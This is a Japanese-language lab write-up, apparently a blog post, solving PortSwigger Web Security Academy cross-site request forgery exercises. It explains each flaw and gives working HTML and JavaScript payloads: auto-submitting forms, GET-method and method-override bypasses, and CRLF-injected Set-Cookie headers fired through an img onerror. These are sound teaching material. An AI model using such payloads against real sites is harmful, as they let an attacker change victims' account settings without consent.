PortSwigger - Cross-site request forgery (CSRF)

5 min readPortSwigger#Web#CSRF

CSRFとは

Webサイトにログインしているユーザーをだまして、本人が意図していない操作を実行させる攻撃

Progress
  • CSRF vulnerability with no defenses
  • CSRF where token validation depends on request method
  • CSRF where token validation depends on token being present
  • CSRF where token is not tied to user session
  • CSRF where token is tied to non-session cookie
  • CSRF where token is duplicated in cookie
  • SameSite Lax bypass via method override
  • SameSite Strict bypass via client-side redirect
  • SameSite Strict bypass via sibling domain
  • CSRF where Referer validation depends on header being present
  • CSRF with broken Referer validation

CSRF vulnerability with no defenses

csrfトークンは未設定になっている。 メールアドレス変更に必要なcookie.sessionが必要でクロスサイトでの送信を対策しているか確認したところSameSite属性は未設定になっている。ChromeのSameSite属性のデフォルト設定は、Laxになるのでクロスサイトでの送信が制限される、2分以内ならLax+POSTの可能性も考えられるが送信できたのでサーバが演習用に送信できるようになっている可能性が高い。

<form action="https://web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="csrf@swigger.com">
</form>
<script>
  document.forms[0].submit();
</script>

CSRF where token validation depends on request method

csrfトークンは設定されている。 cookie.sessionform.csrfは紐づいており、sessionが異なればエラーになる。しかし、リクエストメソッドの処理が悪くGETメソッドで送信するとcsrfトークンが検証されずにメールアドレスが変更できる。

POST
email=test%40swigger.com&csrf=sGvviHZ3DgVFY6OGUwpt47tdErAxbKyC
GET /my-account/change-email?email=test%40swigger.com
<script>
	location = "https://web-security-academy.net/my-account/change-email?email=csrf%40swigger.com"
</script>

CSRF where token validation depends on token being present

csrfトークンは設定されている。しかし、csrf= がパラメータに存在すればサーバ側で検証しているが存在しなければトークンの検証を行わずに処理が行われる。

<form action="https://web-security-academy.net/my-account/change-email" method="POST">
	<input type="hidden" name="email" value="csrf@swigger.com">
</form>
<script>
  document.forms[0].submit();
</script>

CSRF where token is not tied to user session

csrfトークンの再利用はできず、毎回新しいものが生成されている。しかし、ユーザセッション関係なく新しく生成されたものが使用されていなければ、他のユーザが生成したトークンを使用して処理を行える。

<form action="https://web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="csrf@swigger.com">
  <input type="hidden" name="csrf" value="evF13erxPyCdiwaHxdHwJAi0h0guN9KV">
</form>
<script>
  document.forms[0].submit();
</script>

form.csrfcookie.csrf の値を発行し、それぞれを紐付けている。フォーム処理時に、両者の値が正しく紐付いていることを確認したうえで、処理を実行する。

form.csrf を書き換えるだけでは、cookie.csrf の値と一致せずInvalid CSRF token となってしまう。

別の脆弱性を探し、Cookieの値を変更できないと攻撃は成立しない。 このケースでは、検索時に検索した文字列をCookieに入れるという問題があり、サニタイズも行われていないので好きな文字列を挿入できる脆弱性がある。

SameSite=None を追加することで、クロスドメイン間のCookieの送信が可能になる。 Secureはhttpsだった場合のみCookieを送信する。 HttpOnly はJavaScriptからCookieを読めなくする。

/?search=test
Set-Cookie: LastSearchTerm=test; Secure; HttpOnly



/?search=test%3b%0d%0aSet-Cookie:%20csrfKey=7b5hHUoUvasrQ2m4tj2So31c4bq3N95v%3b%20SameSite=None
Set-Cookie: LastSearchTerm=test;
Set-Cookie: csrfKey=7b5hHUoUvasrQ2m4tj2So31c4bq3N95v; SameSite=None; Secure;

正規ユーザのCookieを変更するには、悪意のある文字列を入れた/?search を踏ませる必要がある。script, iframe, imgなどどのタグでも良いので、フォームを送信する前に/?search を踏ませる。

img タグに/?search を指定すると、ブラウザは画像を取得しようとしてそのURLへリクエストを送る。 そのレスポンスでSet-Cookie ヘッダーが返るため、ブラウザ上のCookieが書き換えられる。 さらに、レスポンスは画像として読み込めないためonerror が発火し、フォームが送信される。

<form action="https://web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="csrf@swigger.com">
  <input type="hidden" name="csrf" value="d0CXBCTv66e9ANmHBYKCde1biQ0dRuHU">
</form>
<img src="https://web-security-academy.net/?search=test%3b%0d%0aSet-Cookie:%20csrfKey=7b5hHUoUvasrQ2m4tj2So31c4bq3N95v%3b%20SameSite=None" onerror="document.forms[0].submit()">

前章のCSRF where token is tied to non-session cookie と同じようなケースの問題。 今回はform.csrfcookie.csrf の値が、発行時の紐付けがなく、両者の値が同じならば処理を実行する。

<form action="https://web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="csrf@swigger.com">
  <input type="hidden" name="csrf" value="test01">
</form>
<img src="https://web-security-academy.net/?search=%3b%0d%0aSet-Cookie%3a+csrf%3dtest01%3b%20SameSite=None" onerror="document.forms[0].submit()">

SameSite Lax bypass via method override

SameSite:Laxの特徴としてクロスサイト間ではトップレベルナビゲーション以外のGETはCookieが送信されない。 トップレベルナビゲーションとは、a.href, locationなどタブ全体が指定されたURLに移動することで、iframe, img, fetchの中で処理されるものはトップレベルではない。

今回のケースでは、現在のブラウザはデフォルトでLaxが設定されており、特別な脆弱性がない限りTOP.GETを介した処理でないと正常に処理されない。 メソッドをオーバライドする手法としてサーバ側で_methodなどのメソッドを指定して処理できるパラメータが使われている場合、GET処理とPOST処理を混合させ攻撃を成立させることができる。

<script>
  document.location="https://web-security-academy.net/my-account/change-email?_method=POST&email=csrf%40swigger.com";
</script>